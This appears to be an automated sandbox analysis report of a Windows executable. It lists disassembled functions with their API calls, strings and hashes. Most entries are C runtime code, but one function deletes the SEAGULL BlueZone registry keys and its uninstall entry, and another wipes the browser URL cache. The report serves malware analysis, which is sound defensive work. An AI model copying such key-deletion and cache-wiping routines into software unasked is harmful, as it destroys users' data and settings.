Opcode ID: d2d1d8a5a43f164429f67f90c9b60bc1a592c74219461f46876dd94d697b9ad6
Instruction ID: a163eca986ccf28f7684f9c0ed8ab5f902538ecad1e96a602f6f5fc4415c93c6
Opcode Fuzzy Hash: d2d1d8a5a43f164429f67f90c9b60bc1a592c74219461f46876dd94d697b9ad6
Instruction Fuzzy Hash: D13135B2D092116AE61033629C46F6B320CDB11344F14463BFE0AB12D2FA7DEE4585FE

Function 00403940 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 111registrystringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,Software\SEAGULL\BlueZone), ref: 00403961
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,0002001F,?), ref: 0040397F
RegCloseKey.ADVAPI32(?), ref: 0040399D
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,0002001F,?), ref: 004039B5
RegCloseKey.ADVAPI32(?), ref: 004039CD
lstrcpyA.KERNEL32(?,Software\SEAGULL), ref: 004039D9
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,0002001F,?), ref: 004039F1
RegDeleteKeyA.ADVAPI32(?,BlueZone), ref: 00403A07
RegCloseKey.ADVAPI32(?), ref: 00403A0E
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,0002001F,?), ref: 00403A26
RegDeleteKeyA.ADVAPI32(?,BlueZone), ref: 00403A36
RegCloseKey.ADVAPI32(?), ref: 00403A3D
RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020006,?), ref: 00403A55
RegDeleteKeyA.ADVAPI32(?,BlueZone), ref: 00403A65
RegCloseKey.ADVAPI32(?), ref: 00403A6C

Part of subcall function 004038A0: RegEnumKeyA.ADVAPI32(?,00000000,?,00000040), ref: 004038C4
Part of subcall function 004038A0: RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 004038F2
Part of subcall function 004038A0: RegCloseKey.ADVAPI32(?), ref: 0040390A
Part of subcall function 004038A0: RegDeleteKeyA.ADVAPI32(?,?), ref: 00403916
Part of subcall function 004038A0: RegEnumKeyA.ADVAPI32(?,00000000,?,00000040), ref: 00403922

Strings

Software\SEAGULL, xrefs: 004039CF
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00403A4B
Software\SEAGULL\BlueZone, xrefs: 00403957
BlueZone, xrefs: 00403A01, 00403A30, 00403A5F

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: CloseOpen$Delete$Enumlstrcpy
String ID: BlueZone$Software\Microsoft\Windows\CurrentVersion\Uninstall$Software\SEAGULL$Software\SEAGULL\BlueZone
API String ID: 3059701532-3895047035
Opcode ID: 3651e8295e704d675597c1e47a786ce230a8b3faca5c27036507ad1f44d5171f
Instruction ID: 72797d368889a854dc08c4cd3d74fed534517b3f460c85518ab54cd4a10f2ded
Opcode Fuzzy Hash: 3651e8295e704d675597c1e47a786ce230a8b3faca5c27036507ad1f44d5171f
Instruction Fuzzy Hash: 2F3163B1644305FFE210EBA4CCC1F6BB7ADAFC4714F10892EB655A7181D6B4E9048B66

Function 00406C75 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,00405687), ref: 00406C7B
__mtterm.LIBCMT ref: 00406C87

Part of subcall function 004069C9: TlsFree.KERNEL32(0000000D,00406DF4), ref: 004069F4
Part of subcall function 004069C9: DeleteCriticalSection.KERNEL32(00000000,00000000,74DEDFB0,00000001,00406DF4), ref: 004072AD
Part of subcall function 004069C9: DeleteCriticalSection.KERNEL32(0000000D,74DEDFB0,00000001,00406DF4), ref: 004072D7

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00406C9D
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00406CAA
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00406CB7
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00406CC4
TlsAlloc.KERNEL32 ref: 00406D14
TlsSetValue.KERNEL32(00000000), ref: 00406D2F
__init_pointers.LIBCMT ref: 00406D39
__calloc_crt.LIBCMT ref: 00406DAE
GetCurrentThreadId.KERNEL32 ref: 00406DDE

Strings

FlsSetValue, xrefs: 00406CAC
FlsAlloc, xrefs: 00406C97
FlsFree, xrefs: 00406CB9
FlsGetValue, xrefs: 00406C9F
KERNEL32.DLL, xrefs: 00406C76

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2125014093-3819984048
Opcode ID: 23f4854cbeacc7f53d61410438be0420b183a0e596b6166362961aa4c0ef5986
Instruction ID: 163895a691fad4e9110817a718df8a72c08294aba88f97296426815a71b70ed6
Opcode Fuzzy Hash: 23f4854cbeacc7f53d61410438be0420b183a0e596b6166362961aa4c0ef5986
Instruction Fuzzy Hash: E1318071A003019AEF107FB6ED45AA63AA5EB44364F11853FE502B62F1DB78C461CF5C

Function 00407B24 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 164libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(USER32.DLL,00000000,00000000,00000314,?,?,?,00411BB0,00405F21,00411BB0,Microsoft Visual C++ Runtime Library,00012010), ref: 00407B51
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00407B6D

Part of subcall function 004068A9: TlsGetValue.KERNEL32(00000000,0040691E,00000000,00407B32,00000000,00000000,00000314,?,?,?,00411BB0,00405F21,00411BB0,Microsoft Visual C++ Runtime Library,00012010), ref: 004068B6
Part of subcall function 004068A9: TlsGetValue.KERNEL32(00000005,?,?,?,00411BB0,00405F21,00411BB0,Microsoft Visual C++ Runtime Library,00012010), ref: 004068CD

GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B8A

Part of subcall function 004068A9: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00411BB0,00405F21,00411BB0,Microsoft Visual C++ Runtime Library,00012010), ref: 004068E2
Part of subcall function 004068A9: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004068FD

GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B9F
__invoke_watson.LIBCMT ref: 00407BC0

Part of subcall function 004073FA: IsDebuggerPresent.KERNEL32(?,?,00000000), ref: 004074A4
Part of subcall function 004073FA: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 004074AE
Part of subcall function 004073FA: UnhandledExceptionFilter.KERNEL32(00411BB0,?,?,00000000), ref: 004074B8
Part of subcall function 004073FA: GetCurrentProcess.KERNEL32(C000000D,?,?,00000000), ref: 004074D3
Part of subcall function 004073FA: TerminateProcess.KERNEL32(00000000,?,?,00000000), ref: 004074DA

Part of subcall function 00406920: TlsGetValue.KERNEL32(00000000,004069B5,?,00406ADA,?,?,00405FA4), ref: 0040692D
Part of subcall function 00406920: TlsGetValue.KERNEL32(00000005,?,00406ADA,?,?,00405FA4), ref: 00406944

Part of subcall function 00406920: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,00406ADA,?,?,00405FA4), ref: 00406959
Part of subcall function 00406920: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00406974

GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00407BD4
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 00407BEC
__invoke_watson.LIBCMT ref: 00407C5F

Strings

MessageBoxA, xrefs: 00407B67
GetProcessWindowStation, xrefs: 00407BE6
GetUserObjectInformationA, xrefs: 00407BCE
USER32.DLL, xrefs: 00407B4C

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: AddressProc$Value$ExceptionFilterHandleModuleProcessUnhandled__invoke_watson$CurrentDebuggerLibraryLoadPresentTerminate
String ID: GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2691309996-1046234306
Opcode ID: 4249ffd593a5cc08d4becac31bf7bf6dfe2ef27646f3b9d86dc1fbe5997483b8
Instruction ID: aa65c03199aaf4b2d0746a3c4b8a2cd6359538bec5ca6c7ee0c099e8247c6f34
Opcode Fuzzy Hash: 4249ffd593a5cc08d4becac31bf7bf6dfe2ef27646f3b9d86dc1fbe5997483b8
Instruction Fuzzy Hash: ED41B8B1D0C205AAEF10EFB19D8596E7BB8AF44304B14853FF505F22D0DB7CA9509A6A

Function 00406A06 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 49libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,0040E4B8,0000000C,00406B17,00000000,00000000,?,?,00405FA4), ref: 00406A17
GetProcAddress.KERNEL32(?,EncodePointer), ref: 00406A4B
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00406A5B
InterlockedIncrement.KERNEL32(00410920), ref: 00406A7D
__lock.LIBCMT ref: 00406A85
___addlocaleref.LIBCMT ref: 00406AA4

Strings

A, xrefs: 00406A74
DecodePointer, xrefs: 00406A53
KERNEL32.DLL, xrefs: 00406A12
EncodePointer, xrefs: 00406A3D

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: AddressProc$HandleIncrementInterlockedModule___addlocaleref__lock
String ID: A$DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1036688887-3669571569
Opcode ID: 621ee5b97e25a24ecc2a351f097b76c6a08b98763214ae3c0a27354c31bfcb7e
Instruction ID: 9f474166acbf96fe91d8166f8c8f84fe712a89504d916d704ed6461964278fd7
Opcode Fuzzy Hash: 621ee5b97e25a24ecc2a351f097b76c6a08b98763214ae3c0a27354c31bfcb7e
Instruction Fuzzy Hash: A3118F71940701DEE710AFB6D841B9ABBE4AF04314F10953FE8A6B62D1CBBC9941CF58

Function 004065B5 Relevance: 13.7, APIs: 9, Instructions: 186COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 004065CA
__calloc_crt.LIBCMT ref: 004065DD

Part of subcall function 004087B7: __calloc_impl.LIBCMT ref: 004087C5
Part of subcall function 004087B7: Sleep.KERNEL32(00000000), ref: 004087DC

__calloc_crt.LIBCMT ref: 00406660
GetFileType.KERNEL32(00000038), ref: 004066E0
___crtInitCritSecAndSpinCount.LIBCMT ref: 00406714
GetStdHandle.KERNEL32(-000000F6), ref: 0040676A
GetFileType.KERNEL32(00000000), ref: 0040677C
___crtInitCritSecAndSpinCount.LIBCMT ref: 004067AA
SetHandleCount.KERNEL32 ref: 004067D4

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Count$CritFileHandleInitSpinType___crt__calloc_crt$InfoSleepStartup__calloc_impl
String ID:
API String ID: 1318386821-0
Opcode ID: 8591df908f638a1e135f8e86e33b7637403c6a712d0a600b44eb7fcb6c67662c
Instruction ID: fb63276dad2b775bf420c5acad73c4dd275e8d5d5b642cab60e1a1c3a650737e
Opcode Fuzzy Hash: 8591df908f638a1e135f8e86e33b7637403c6a712d0a600b44eb7fcb6c67662c
Instruction Fuzzy Hash: 9E6136355047418FC7208B68CD4475A7BA0AB12328F2A87BFD467FB2E1D77C9826CB19

Function 004068A9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,0040691E,00000000,00407B32,00000000,00000000,00000314,?,?,?,00411BB0,00405F21,00411BB0,Microsoft Visual C++ Runtime Library,00012010), ref: 004068B6
TlsGetValue.KERNEL32(00000005,?,?,?,00411BB0,00405F21,00411BB0,Microsoft Visual C++ Runtime Library,00012010), ref: 004068CD
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00411BB0,00405F21,00411BB0,Microsoft Visual C++ Runtime Library,00012010), ref: 004068E2
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004068FD

Strings

KERNEL32.DLL, xrefs: 004068DD
EncodePointer, xrefs: 004068F7

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: EncodePointer$KERNEL32.DLL
API String ID: 1929421221-3682587211
Opcode ID: 862337624229eff5932143d681ab5cd70fdf0f59997f85832e2f8ba9291d1bf0
Instruction ID: f2f358fb2ad59cdada895f94433aed4b4989e2a68ef902c77c1e18965f85e9b9
Opcode Fuzzy Hash: 862337624229eff5932143d681ab5cd70fdf0f59997f85832e2f8ba9291d1bf0
Instruction Fuzzy Hash: 9EF09031A05122EBCA116BA4ED40A5B3BA4AF803907168132F816F62F0CF38CD61CB6D

Function 00406920 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,004069B5,?,00406ADA,?,?,00405FA4), ref: 0040692D
TlsGetValue.KERNEL32(00000005,?,00406ADA,?,?,00405FA4), ref: 00406944
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,00406ADA,?,?,00405FA4), ref: 00406959
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00406974

Strings

DecodePointer, xrefs: 0040696E
KERNEL32.DLL, xrefs: 00406954

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: DecodePointer$KERNEL32.DLL
API String ID: 1929421221-629428536
Opcode ID: 8b47b12c37b42e450be1c759dbadbbf5b945132e84f2095fa4ea8d39e1ed9fe3
Instruction ID: 32869de56f43fe35e41d44ffc78a9ba7addff22861eb06d1acc72b473a3353fb
Opcode Fuzzy Hash: 8b47b12c37b42e450be1c759dbadbbf5b945132e84f2095fa4ea8d39e1ed9fe3
Instruction Fuzzy Hash: F3F09670600113DBC6116B64DE40A6B3FE5AF507947064132F81AF22F0CB38CC65CB6D

Function 00401A60 Relevance: 9.1, APIs: 6, Instructions: 63COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(00000000,?,?), ref: 00401A93
DeleteUrlCacheEntry.WININET(?), ref: 00401AAC
FindNextUrlCacheEntryA.WININET(00000000,?,?), ref: 00401AC7
DeleteUrlCacheEntry.WININET(?), ref: 00401ADF
FindNextUrlCacheEntryA.WININET(00000000,?,?), ref: 00401AF4
FindCloseUrlCache.WININET(00000000), ref: 00401AFB

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Cache$Entry$Find$DeleteNext$CloseFirst
String ID:
API String ID: 3708369400-0
Opcode ID: 80d4fa49f45f0c06d59cabae2a354f66e841be39891f05ece1326cd417fd11ea
Instruction ID: 60fa938630a212d8b6081140d0de0e182abdefeec2f065f6b748db9328ab3aa2
Opcode Fuzzy Hash: 80d4fa49f45f0c06d59cabae2a354f66e841be39891f05ece1326cd417fd11ea
Instruction Fuzzy Hash: 6B116A725043429BD311CF55D880AEBB7E8FF98344F004A2EF58593291DB78E949CFAA

Function 0040823A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00406B3C: __amsg_exit.LIBCMT ref: 00406B4A

__amsg_exit.LIBCMT ref: 00408266
__lock.LIBCMT ref: 00408276
InterlockedDecrement.KERNEL32(?), ref: 00408293
InterlockedIncrement.KERNEL32(004E1558), ref: 004082BE

Strings

A, xrefs: 0040829D

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__lock
String ID: A
API String ID: 4129207761-387274173
Opcode ID: 813eb4fe599f5d432d2bcd634bcfb1c70d01e402334e8297b3b3fdcc2d0a3d45
Instruction ID: 122905e5fe9d60583dfd5d957c002aa8f8dec0bed03beaa24020d00ad0810133
Opcode Fuzzy Hash: 813eb4fe599f5d432d2bcd634bcfb1c70d01e402334e8297b3b3fdcc2d0a3d45
Instruction Fuzzy Hash: 4F016D31900A219BDB10AB66DA0679FB760AF40764F05417FE840BB7D2CB7C6991CBDD

Function 00408358 Relevance: 7.7, APIs: 5, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

APIs

getSystemCP.LIBCMT ref: 00408371

Part of subcall function 004082DE: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004082EB
Part of subcall function 004082DE: GetOEMCP.KERNEL32(00000000,?,004063DF), ref: 00408305

setSBCS.LIBCMT ref: 00408383
IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,0040E600), ref: 004083C9
GetCPInfo.KERNEL32(00000000,004086DB), ref: 004083DC
setSBUpLow.LIBCMT ref: 004084C7

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Locale$CodeInfoPageSystemUpdateUpdate::_Valid
String ID:
API String ID: 364485666-0
Opcode ID: 4697871b5905844977de9c4997ba235dcd204195d768d58a741f3467fc21998b
Instruction ID: 8ec6153042f79eac657b3f21c1822ef6183c4203d47cabd20a19e1f802ecfb8c
Opcode Fuzzy Hash: 4697871b5905844977de9c4997ba235dcd204195d768d58a741f3467fc21998b
Instruction Fuzzy Hash: B351D1309002559BDB259F65CA842BFBBA4EF45304F14807FD9C5AB2C2EA7C9846CB98

Function 004038A0 Relevance: 7.6, APIs: 5, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegEnumKeyA.ADVAPI32(?,00000000,?,00000040), ref: 004038C4
RegOpenKeyExA.ADVAPI32(?,?,00000000,0002001F,?), ref: 004038F2
RegCloseKey.ADVAPI32(?), ref: 0040390A
RegDeleteKeyA.ADVAPI32(?,?), ref: 00403916
RegEnumKeyA.ADVAPI32(?,00000000,?,00000040), ref: 00403922

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Enum$CloseDeleteOpen
String ID:
API String ID: 2095303065-0
Opcode ID: 7f8099183ea9ddf6c3dca9d39c1065edd4178144fa4fa3375a1e201013ea1741
Instruction ID: 97484bd9abdb94ad90cd85e6e7c306074352ea9776063961479dec0087b99127
Opcode Fuzzy Hash: 7f8099183ea9ddf6c3dca9d39c1065edd4178144fa4fa3375a1e201013ea1741
Instruction Fuzzy Hash: 341133B2214305ABD200DF54DC81F7BB7ACFB88744F44092DF644A7180D7B9AA05876A

Function 004086E9 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00408707

Part of subcall function 004073BF: __mtinitlocknum.LIBCMT ref: 004073D3
Part of subcall function 004073BF: __amsg_exit.LIBCMT ref: 004073DF
Part of subcall function 004073BF: EnterCriticalSection.KERNEL32(?,?,?,0040A4CD,00000004,0040E6A0,0000000C,004087CA,?,?,00000000,00000000,00000000,00406AEE,00000001,00000214), ref: 004073E7

___sbh_find_block.LIBCMT ref: 00408712
___sbh_free_block.LIBCMT ref: 00408721
HeapFree.KERNEL32(00000000,?,0040E620,0000000C,004073A0,00000000,0040E540,0000000C,004073D8,?,?,?,0040A4CD,00000004,0040E6A0,0000000C), ref: 00408751
GetLastError.KERNEL32(?,0040A4CD,00000004,0040E6A0,0000000C,004087CA,?,?,00000000,00000000,00000000,00406AEE,00000001,00000214), ref: 00408762

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 9170501f53999de59eafee68e439642d459c56e094f94634f7c572619ba764e3
Instruction ID: 9496b5d73030458fe325d84f2ca88267743a67d8a21defd739447d5664684587
Opcode Fuzzy Hash: 9170501f53999de59eafee68e439642d459c56e094f94634f7c572619ba764e3
Instruction Fuzzy Hash: 8D018431905301AADB206BB19E4AB8F3AA49F10365F30453FF584B71D5CF3C9540CA9E

Function 00406AC5 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00405FA4), ref: 00406AC7

Part of subcall function 00406997: TlsGetValue.KERNEL32(?,00406ADA,?,?,00405FA4), ref: 0040699E
Part of subcall function 00406997: TlsSetValue.KERNEL32(00000000,00406ADA,?,?,00405FA4), ref: 004069BF

__calloc_crt.LIBCMT ref: 00406AE9

Part of subcall function 004087B7: __calloc_impl.LIBCMT ref: 004087C5
Part of subcall function 004087B7: Sleep.KERNEL32(00000000), ref: 004087DC

Part of subcall function 00406920: TlsGetValue.KERNEL32(00000000,004069B5,?,00406ADA,?,?,00405FA4), ref: 0040692D
Part of subcall function 00406920: TlsGetValue.KERNEL32(00000005,?,00406ADA,?,?,00405FA4), ref: 00406944

Part of subcall function 00406A06: GetModuleHandleA.KERNEL32(KERNEL32.DLL,0040E4B8,0000000C,00406B17,00000000,00000000,?,?,00405FA4), ref: 00406A17
Part of subcall function 00406A06: GetProcAddress.KERNEL32(?,EncodePointer), ref: 00406A4B
Part of subcall function 00406A06: GetProcAddress.KERNEL32(?,DecodePointer), ref: 00406A5B
Part of subcall function 00406A06: InterlockedIncrement.KERNEL32(00410920), ref: 00406A7D
Part of subcall function 00406A06: __lock.LIBCMT ref: 00406A85
Part of subcall function 00406A06: ___addlocaleref.LIBCMT ref: 00406AA4

GetCurrentThreadId.KERNEL32 ref: 00406B19
SetLastError.KERNEL32(00000000,?,?,00405FA4), ref: 00406B31

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Value$AddressErrorLastProc$CurrentHandleIncrementInterlockedModuleSleepThread___addlocaleref__calloc_crt__calloc_impl__lock
String ID:
API String ID: 1081334783-0
Opcode ID: f400f268a47c80b48db5e9207964b2123470f519bb9cc97ef2fd2f546114f161
Instruction ID: 0d5b113f3d72e940cde872f39c687ab831d717f21ad4cae7c95c9a9a7279f884
Opcode Fuzzy Hash: f400f268a47c80b48db5e9207964b2123470f519bb9cc97ef2fd2f546114f161
Instruction Fuzzy Hash: E4F0C8725006329BD6353BB97C06B5E3A609F907B0B12413EF442F61E1CF39D85186AC

Function 004011D0 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 004011E0
